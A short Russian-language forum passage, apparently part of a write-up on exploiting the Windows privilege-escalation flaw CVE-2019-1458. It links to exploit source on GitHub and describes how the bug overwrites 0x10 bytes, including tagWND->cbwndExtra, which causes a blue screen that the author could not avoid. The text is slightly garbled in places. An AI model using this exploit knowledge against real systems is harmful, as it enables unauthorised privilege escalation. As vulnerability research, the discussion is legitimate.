Соответствующий код находится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp . После успешной компиляции и запуска вы можете успешно повысить привилегии:
отя повышение привилегий может быть успешным, xxxPaintSwitchWindow изменит 0x10 байт данных при срабатывании уязвимости, поэтому будут изменены не только tagWND->cbwndExtra, но и другие элементы, поэтому BSOD будет сгенерирован, когда программа выпустит уязвимость. окно . Я попытался изменить эти измененные данные на 0 или значение других окон, но синий экран все равно возникает.Я не знаю, как это решить, поэтому я подожду, пока другие мастера на форуме изучат.